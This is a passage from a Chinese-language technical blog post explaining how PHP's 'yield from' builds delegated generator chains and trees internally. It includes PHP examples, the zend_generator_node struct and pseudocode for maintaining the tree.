class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen1</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen2</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> gen1();</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">3</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$gen</span> = gen2();</span><br><span class="line"><span class="variable">$gen</span>-&gt;rewind();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 1</span></span><br><span class="line"><span class="variable">$gen</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 2</span></span><br><span class="line"><span class="variable">$gen</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 3</span></span><br></pre></td></tr></table></figure><p>可以看到在使用<code>rewind()</code>操作之后, 指向的第一个元素是由<code>gen1</code>产生的, 这是因为在<code>gen2</code>的一开始, 我们通过<code>yield from</code> 引入了<code>gen1</code>作为delegated value, 在这些值被使用完之前, 原generator不会向下执行. 难道你不觉得这里非常奇妙吗 ? 我们拨动outer generator向前, 却是inner generator在向前, 并且我们对outer generator取值也总是能取到正确的值.</p><p>PHP内部究竟是如何实现它的呢？ 不着急, 我们再来看一些更加复杂的例子, 让你对它有一些更深层次的思考, 以便于对后文有更好的理解. 假如我们在<code>gen1</code>也增加一个<code>yield from</code>呢？</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen0</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">4</span>; </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen1</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> gen0();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen2</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> gen1();</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">3</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$gen</span> = gen2();</span><br><span class="line"><span class="variable">$gen</span>-&gt;rewind();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 1</span></span><br><span class="line"><span class="variable">$gen</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 2</span></span><br><span class="line"><span class="variable">$gen</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 4</span></span><br><span class="line"><span class="variable">$gen</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 3</span></span><br></pre></td></tr></table></figure><p>对照函数调用时的call chain, 这里每次调用<code>yield from</code>的时候也会构造一条类似的chain, 我们可以将其称之为<strong>delegated generator chain</strong>, 比如在第12行这里就会形成<code>gen2 -&gt; gen1</code>, 而在第8行这里就会形成<code>gen2 -&gt;  gen1 -&gt; gen0</code>, 其中一个箭头就表示一次<code>yield from</code>执行, 而箭头方向对应outermost到innermost的方向.</p><p>这里会给我们一种感觉, <em>当我们拨动一条delegated generator chain上的某个generator时, 总是会先拨动这条chain上innermost generator</em>. 我们把简单地修改一下上面的例子, 让我们的感觉更加明显:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen0</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">4</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">5</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">6</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen1</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> gen0();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen2</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$gen1</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> <span class="variable">$gen1</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">3</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$gen1</span> = gen1();</span><br><span class="line"><span class="variable">$gen2</span> = gen2();</span><br><span class="line"><span class="variable">$gen2</span>-&gt;rewind();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen2</span>-&gt;current(); <span class="comment">// output: 1</span></span><br><span class="line"><span class="variable">$gen2</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen2</span>-&gt;current(); <span class="comment">// output: 2</span></span><br><span class="line"><span class="variable">$gen2</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen2</span>-&gt;current(); <span class="comment">// output: 4</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$gen1</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen1</span>-&gt;current(); <span class="comment">// output: 5</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$gen2</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen2</span>-&gt;current(); <span class="comment">// output: 6</span></span><br></pre></td></tr></table></figure><p>这里我们单独拿到了<code>gen1</code>的引用, 首先我们三次连续拨动<code>gen2</code>, 在最后一次拨动<code>gen2</code>时, 在<code>gen1</code>中<code>yield from</code>下形成了delegated generator chain为<code>gen2 -&gt; gen1 -&gt; gen0</code> . 此时<code>gen0</code>作为innermost generator, 所以我们拿到了<code>gen0</code>中第一个<code>yield</code>产生的值. 而后我们换<code>gen1</code>来拨动, <code>gen1</code>也是这条chain上的一个delegated generator, 因此我们拿到了<code>gen0</code>中第二个<code>yield</code>产生的值. 最后我们再切回<code>gen2</code>来拨动, 依然也是预期的值.</p><p>所以这里我们给出第一个重要的原则:</p><p><strong>Principle1</strong>. 假设某个generator处于由<code>yield from</code>生成的delegated generator chain上, 当我们使用<code>next()</code>拨动它时, 会首先拨动它所在chain的innermost generator. 同理使用<code>current()</code>获取当前元素时, 也会去获取该innermost generator指向的元素.</p><p>为了节省篇幅, 后面将使用chain来指代delegated generator chian. 聪明的你, 可能要问一个问题了, 有没有可能一个generator位于两条不同的chain中呢 ? 非常好的问题, 答案是肯定存在, 比如</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen0</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen1</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$gen0</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> <span class="variable">$gen0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen2</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$gen0</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> <span class="variable">$gen0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$gen0</span> = gen0();</span><br><span class="line"><span class="variable">$gen1</span> = gen1();</span><br><span class="line"><span class="variable">$gen2</span> = gen2();</span><br><span class="line"><span class="variable">$gen1</span>-&gt;rewind();</span><br><span class="line"><span class="variable">$gen2</span>-&gt;rewind();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen1</span>-&gt;current();  <span class="comment">// output: 0</span></span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen2</span>-&gt;current(); <span class="comment">// output: 0</span></span><br></pre></td></tr></table></figure><p>在拨动<code>gen1</code>和<code>gen2</code>之后, 就生成了两条具有相同innermost generator的chains, 如下: (我们去掉了chain连线上的箭头, 因为画起来会很乱, 我们约定inner genearator总是在outer generator的上面)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">    gen0</span><br><span class="line">   &#x2F;    \</span><br><span class="line">gen1    gen2</span><br></pre></td></tr></table></figure><p>此时<code>gen0</code>位于两条不同的chains中. 咋一看, 这里的结构看起来就是一棵tree, 而一条delegated generator chain实际就是一条<strong>root-to-leaf path</strong>. 我们需要仔细验证一下, 这里是不是真的符合tree结构, 需要考虑所有delegrated generator chain可能长成的样子出发. 我们默认大家都熟悉基本数据结构Tree中的一些关键词, 比如<strong>root</strong>结点 (根结点), <strong>parent</strong>结点 (父节点), <strong>child</strong>结点 (孩子结点), <strong>ancestor</strong>结点 (祖先结点), <strong>descendant</strong>结点 (后继结点).</p><p>#1 <em>任意时刻一generator实例只能执行一个<code>yield from</code></em>.</p><p>因此不可能出现以下情况, 这就意味确实可能只存在一个<strong>root</strong>结点.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gen1    gen2</span><br><span class="line">   \    &#x2F;</span><br><span class="line">    gen0</span><br></pre></td></tr></table></figure><p>#2 <em>PHP不允许环的出现</em></p><p>以下例子会抛出一个异常</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen0</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="keyword">global</span> <span class="variable">$gen1</span>;</span><br><span class="line"><span class="keyword">yield</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">yield</span> <span class="keyword">from</span> <span class="variable">$gen1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen1</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="keyword">yield</span> <span class="keyword">from</span> gen0();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$gen1</span> = gen1();</span><br><span class="line"><span class="variable">$gen1</span>-&gt;rewind();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen1</span>-&gt;current();</span><br><span class="line"><span class="variable">$gen1</span>-&gt;next();</span><br></pre></td></tr></table></figure><p>因此我们不用考虑环出现的情况.</p><p>综合#1和#2, 我们完全可以用tree结构代替delegated generator chains. 并且我们可以确保 "任一generator在某一时刻只能处于唯一的一颗delegated generator tree上", 换句话说每个generator都有唯一的<strong>root</strong>结点, 这是因为#1可以保证tree不会分叉. 由此delegated generator tree正式进入我们的视野, 而delegated generator chain只不过是一条root-to-leaf path. 之后我可能会频繁地给出各种形式的delegrated generated trees, 但是为了节省篇幅, 我不会同时给出对应它们的PHP代码了, 默认它们都是可以以某种方式被构造出来的. 在继续往下之前, 我们首先明确(或者强调)几个概念:</p><ol type="1"><li>对于一特定的<code>yield from</code>, 它对应的inner generator和outer generator对应delegated generator tree上一对<strong>parent</strong>-<strong>child</strong>结点.</li><li>对于一特定的delegated generator tree, 它的每一条root-to-leaf path都对应着一条delegated generator chain, 这些chains拥有相同的innermost genearator, 即为该delegated generator tree的<strong>root</strong>结点.</li><li>对于一特定的generator, 只能处于唯一确定的delegated generator tree上.</li></ol><p>那么这里我们可以给出第二个重要的principle:</p><p><strong>Principle2</strong>. 给定一个generator, 当我们使用<code>next()</code>拨动它时, 会首先拨动它所在delegated generator tree的<strong>root</strong>结点. 同理使用<code>current()</code>获取当前元素时, 也会去获取该<strong>root</strong>结点指向的元素.</p><p>注意我们使用 "结点" 指特定的generator. 我们可以将内部没有<code>yield from</code>语句, 且也不是其他generator的delegated generator的generator视为一个tree of single node, 即只有一个结点的tree, 其<strong>root</strong>结点就是它自己. 为了进一步节省篇幅, 我将直接使用tree来指代delegated generator tree.</p><p>PHP内部使用如下结构连接tree上的结点:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_generator_node</span> &#123;</span></span><br><span class="line">zend_generator *parent; <span class="comment">/* NULL for root */</span></span><br><span class="line"><span class="keyword">uint32_t</span> children;</span><br><span class="line"><span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">HashTable *ht; <span class="comment">/* if multiple children */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span> <span class="comment">/* if one child */</span></span><br><span class="line">zend_generator *leaf;</span><br><span class="line">zend_generator *child;</span><br><span class="line">&#125; single;</span><br><span class="line">&#125; child;</span><br><span class="line"><span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">zend_generator *leaf; <span class="comment">/* if &gt; 0 children */</span></span><br><span class="line">zend_generator *root; <span class="comment">/* if 0 children */</span></span><br><span class="line">&#125; ptr;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>后文我将使用<code>node</code>来指代这个结构, 其中有4个字段:</p><ol type="1"><li><code>node.parent</code>用来存储<strong>parent</strong>结点.</li><li><code>node.single</code>用来存储<strong>child</strong>结点的个数.</li><li><code>node.child</code>用来存储<strong>child</strong>结点.</li><li><code>node.ptr</code>用来存储一些信息.</li></ol><p>此时你需要对这个结构有一些大致的了解即可. 这是本文唯一一处直接使用PHP内部代码的地方, 因为我们需要用它来描述delegated generator tree的设计. 注意当我们提到结点的时候, 依然指得是某一个特定的generator, 而不是某个<code>node</code>结构. 对于<code>node</code>结构, 我们会使用类似<code>gen.node</code>来指代generator <code>gen</code>中的<code>node</code>结构.</p><h4 id="维护-delegated-generator-tree-概览">1.3 维护 delegated generator tree 概览</h4><p>首先要明确我们引入delegated generator tree的核心目的是"为了更好的维护 delegated generator chains", 而delegated generator chain是PHP准确处理任何一个generator的基础. 这里面存在两个难点问题:</p><ol type="1"><li>不同层次上的generator如何快速地找到对应的currently executing geneartor? 简而言之如何让delegated generator tree上的各个结点能够快速地找到<strong>root</strong>结点.<br /></li><li>不同层次上的generator对应的currently executing generator完成执行时, 如何切换到下一个generator继续执行 ?</li></ol><p>对于第一个问题, 我们可以有非常直接的方法, 即从指定的结点开始往上遍历<code>node.parent</code>直到<strong>root</strong>结点. 但是你如果考虑一个非常高的tree和它的一个<strong>leaf</strong>结点, 每次地拨动这个<strong>leaf</strong>结点都需要查找一次, 如果这个过程非常频繁, 那么代价并不小. 所以我们是否可以考虑引入类似cache的东西 ? 比如在第一次查找之后就保存这个<strong>root</strong>结点, 这个方法显然是奏效的, 但是你需要额外维护这个cache. 如果这个<strong>root</strong>结点已经完成执行了, 你可能需要考虑更新所有引用它的地方, 以免二次误用. 进一步思考, 这个cache可能有多种形式:</p><ul><li><strong>multiple cache</strong>: 允许多个结点保存同一个<strong>root</strong>结点.</li></ul><p>那么必须在<strong>root</strong>结点处维护一张表, 存储所有引用它的地方, 保证在它被改变之后, 能够及时地更新到引用它的结点.</p><ul><li><strong>single cache</strong>: 一个<strong>root</strong>结点只允许一个结点引用.</li></ul><p>那么我们只需要在<strong>root</strong>结点上引用这个结点即可.</p><p>为什么我们提到这两种cache形式呢 ? 考虑下面的tree</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    gen0</span><br><span class="line">   &#x2F;</span><br><span class="line">  gen1</span><br><span class="line"> &#x2F;</span><br><span class="line">gen2</span><br></pre></td></tr></table></figure><p>其中<code>gen1</code>和<code>gen2</code>的<strong>root</strong>结点都是<code>gen0</code>. 在multiple cache下, 无论怎样拨动<code>gen1</code>还是<code>gen2</code>都可以使用cache机制. 而在single cache下, 当我们从拨动<code>gen1</code>切换到<code>gen2</code>或者从<code>gen2</code>切换到<code>gen1</code>时, cache就会失效, 但是连续拨动时依然可以享受到cache带来的好处.</p><p>PHP7和PHP8均使用的第二种cache方式, 我将其称之为<strong>核心设计1</strong>. 但是PHP7还往前走了一步, 这里我们注意到<code>gen1</code>和<code>gen2</code>对应同一个<strong>root</strong>结点, 那么有没有办法让它们共享这个<strong>root</strong>结点呢? 并且在<strong>root</strong>结点上不用同时引用它们两个结点. 答案是,</p><ol type="1"><li>在<code>gen1</code>中存一个关于<code>gen2</code>的引用, 而不是直接存<strong>root</strong>结点.</li><li>在<code>gen2</code>中存<strong>root</strong>结点.</li><li>在拨动<code>gen1</code>时, 直接从<code>gen2</code>中取<strong>root</strong>结点.</li></ol><p>可以这样做的原因是, 对于一个结点而言, 它和它的所有<strong>descendant</strong>结点都拥有着相同的<strong>root</strong>结点. 换言之, 如果它的某个<strong>descendant</strong>结点已经拥有了关于<strong>root</strong>结点的引用, 那么我们可以直接去问这个<strong>descendant</strong>结点要<strong>root</strong>结点即可. 另外对于这个<strong>descendant</strong>结点的选择, 应当最好是一个<strong>leaf</strong>结点, 因为它可以成为更多其他结点的<strong>descendant</strong>结点. 这就是PHP7中delegated generator tree的独有的<strong>核心设计2</strong>.</p><p>对于第二个问题, 简而言之就是当前<strong>root</strong>结点完成执行之后, 我们应当如何选择<strong>child</strong>结点作为新的<strong>root</strong>结点. 我们考虑两种情况下的tree</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">  gen0            gen2</span><br><span class="line"> &#x2F;                &#x2F;   \</span><br><span class="line">gen1            gen3   gen4</span><br><span class="line">                &#x2F;</span><br><span class="line">              gen5</span><br></pre></td></tr></table></figure><p>对于左边这颗树, 当<code>gen0</code>完成执行之后, 我们再拨动<code>gen1</code>, 此时<code>gen0</code>只有一个<strong>child</strong>结点, 所以选择只有一个. 而对于右边这棵树, 同样当<code>gen2</code>完成执行之后, 我们再拨动<code>gen5</code>, 此时<code>gen2</code>有两个<strong>child</strong>结点, 正确的选择应该是<code>gen3</code>, 那么这里应该如何准确地确定它呢 ? 同样我们可以直接从<code>gen5</code>开始向上遍历, 直到碰到<code>gen2</code>的某个<strong>child</strong>结点, 这是PHP8中的做法.</p><p>而PHP7中的做法则是对每个结点的<strong>child</strong>结点建立一张索引表, 在返回选择<strong>child</strong>结点的过程中，我们可以根据当前正在拨动的generator信息查表得到对应的<strong>child</strong>结点. 这一做法中延续了之前我们刚刚提到的<strong>核心设计1</strong>. 为理解这一建表过程, 我们从最直觉的方法出发, 再回归PHP7中的方法.</p><p>想象我们正在结点<code>gen</code>上存储一个<strong>child</strong>结点 <code>c</code>, 并且假定这个<strong>child</strong>结点有一些<strong>descendant</strong>结点, <code>d1, d2, ..., dn</code>等等. 那么我们在<code>gen</code>上存储一些ordered pairs, <code>(c,c),  (c, d1),  (c, d2), ... (c, dn)</code>. 未来当<code>gen</code>完成执行，我们再次拨动<code>d1, d2, ..., dn</code>中的某个结点<code>di</code>时, 我们可以根据<code>di</code>查询<code>gen</code>中的ordered pairs马上知道我们选择的<strong>child</strong>结点是<code>c</code>. 这一ordered pair结构显然可以用哈希表来完成 (让<code>di</code>作为index), 这就是PHP7中独有的<strong>核心设计3</strong>. 如果我们继续深度思考的话, 这里实际可能并不需要存储这么多ordered pairs, 考虑拥有下面结构的<code>c</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">     c</span><br><span class="line">   &#x2F;   \</span><br><span class="line">  d1   d4</span><br><span class="line">  &#x2F;</span><br><span class="line">  d2</span><br><span class="line"> &#x2F; </span><br><span class="line">d3 </span><br></pre></td></tr></table></figure><p>类似于前面提到的核心设计, 当<code>c</code>完成执行是, 这里拨动<code>d2</code> 选择的<code>c</code>的<strong>child</strong>结点, 和拨动任意一个<code>d2</code>的<strong>descendant</strong>结点选择的<code>c</code>的<strong>child</strong>结点是一样的. 因此这里我们也可以让<code>d2</code>保存一个<code>d3</code>的引用, 然后我们在<code>c</code>上只需要保存两个ordered pair <code>(d1, d3), (d1, d4)</code> , 并且在查询<code>d2</code>时, 我们转而使用<code>d3</code>来作为查询index, 这就是PHP7中独有的<strong>核心设计4</strong>. 在实际建表的过程中, 还要更复杂一些, 我们会详细提到.</p><p>最后我们小小地总结一下, generator delegated tree有两个需维护重点:</p><ol type="1"><li>快速找到一个结点对应的<strong>root</strong>结点.</li><li>更新已经完成执行的<strong>root</strong>结点时, 需要快速地找到退回的<strong>child</strong>结点.</li></ol><p>在这两个查找操作中都用到了相同的思想, 即一些结点是可以共用查询的结果, 通过这个fact, 我们希望减少复用结果所带来的空间复杂度, 于是乎诞生了<strong>核心设计2</strong>和<strong>核心设计4</strong>. 而<strong>核心设计1</strong>和<strong>核心设计3</strong>的思想就比较朴素, 即为了减少遍历tree带来的时间复杂度. 下面几个小节，我们将完整的介绍整个维护过程.</p><h4 id="维护-delegated-generator-tree-之结点初始化">1.4. 维护 Delegated generator tree 之结点初始化</h4><p>当一个generator实例<code>gen</code>产生的时候, 我可以将它看做只有一个结点的tree, 相关初始化操作如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">init_gen_node</span> <span class="params">(gen)</span> </span>&#123;</span><br><span class="line">    gen.node.parent = null;</span><br><span class="line">    gen.node.children = <span class="number">0</span>;</span><br><span class="line">    gen.node.single.child = null;</span><br><span class="line">    gen.node.single.leaf = null;</span><br><span class="line">    gen.node.ptr.root = gen</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样一个结点自然是没有<strong>parent</strong>结点和<strong>child</strong>结点. 值得注意是我们用到<code>node.ptr</code>, 这里我们有一个约定:</p><ol type="1"><li>若给定结点<code>gen</code>是一个<strong>leaf</strong>结点, 则使用<code>gen.node.ptr.root</code>记录它所在tree的<strong>root</strong>结点.</li><li>反之, 则使用<code>gen.node.ptr.leaf</code>记录以它为<strong>root</strong>结点所在子树的某个<strong>leaf</strong>结点.</li></ol><p>我们可以用一个简单的例子来说明:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    gen0</span><br><span class="line">   &#x2F;</span><br><span class="line">  gen1</span><br><span class="line"> &#x2F;    \</span><br><span class="line">gen2   gen3</span><br></pre></td></tr></table></figure><p>图中结点<code>node.ptr</code>使用情况为:</p><ol type="1"><li><code>gen2.node.ptr.root == gen0</code></li><li><code>gen3.node.ptr.root == gen0</code></li><li><code>gen1.node.ptr.leaf == gen2</code></li><li><code>gen0.node.ptr.leaf == gen2</code></li></ol><p>你可能会问如果有多个<strong>leaf</strong>结点, 我们应该记录哪一个呢? 例如这里就有两个<strong>leaf</strong>结点, 答案是没有区别, 记录任意一个<strong>leaf</strong>结点都行, 在后文中你将看到原因. 另外可以看到在初始化过程中, 我们使用是<code>node.ptr.root</code>, 这是因为此时的<code>gen</code>结点既是一个<strong>root</strong>结点也是一个<strong>leaf</strong>结点, 无论使用<code>node.ptr</code>另一种方式均可. 同时我们可以称呼这样的结点为<strong>root</strong>-<strong>leaf</strong>结点.</p><h4 id="维护-delegated-generator-tree-之新增child结点">1.5. 维护 delegated generator tree 之新增child结点</h4><p>这一节我们将描述如何两个结点在<code>yield form</code>调用过程中, 其中一个结点是如何被连接为另一个结点的<strong>child</strong>结点. 调用<code>yield from</code>的generator将作为这个过程中的<strong>child</strong>结点. 给定两个generators分别记为<code>gen</code> 和 <code>child</code>, 其中<code>child</code>将作为<strong>child</strong>结点连接到<code>gen</code>上. 我们将根据<code>gen</code>和<code>child</code>本身的结构来分类讨论他们的连接过程. 注意每一个case的连接操作可能并不是完整的, 我们主要关注是在不同case, 可能需要引入的新操作是哪些. 把每个case补全会导致，case与case之前出现重复, 并且讲解臃肿.</p><p><strong>#1</strong> <em><code>gen</code>为一个<strong>leaf</strong>结点</em>.</p><p>这个case下新增过程相对来说比较好理解, 图式新增过程如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">                      gen</span><br><span class="line">gen +  child   --&gt;    &#x2F;</span><br><span class="line">                    child</span><br></pre></td></tr></table></figure><p>那么这里的连接过程如下:3</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">add_child_to_leaf_node</span> <span class="params">(gen, child)</span> </span>&#123;</span><br><span class="line"><span class="comment">// assert(gen1.node.parent == null &amp;&amp; gen1.node.children == 0)</span></span><br><span class="line">    </span><br><span class="line">    leaf = child.node.children ? child.node.ptr.leaf : child;</span><br><span class="line">    </span><br><span class="line">    leaf.node.ptr.root = gen.node.ptr.root; </span><br><span class="line">    gen.node.ptr.leaf = leaf;</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    gen.node.child.single.leaf = leaf; </span><br><span class="line">    gen.node.child.single.child = child;</span><br><span class="line"></span><br><span class="line">    child.node.parent = gen;</span><br><span class="line">&#125;</span><br><span 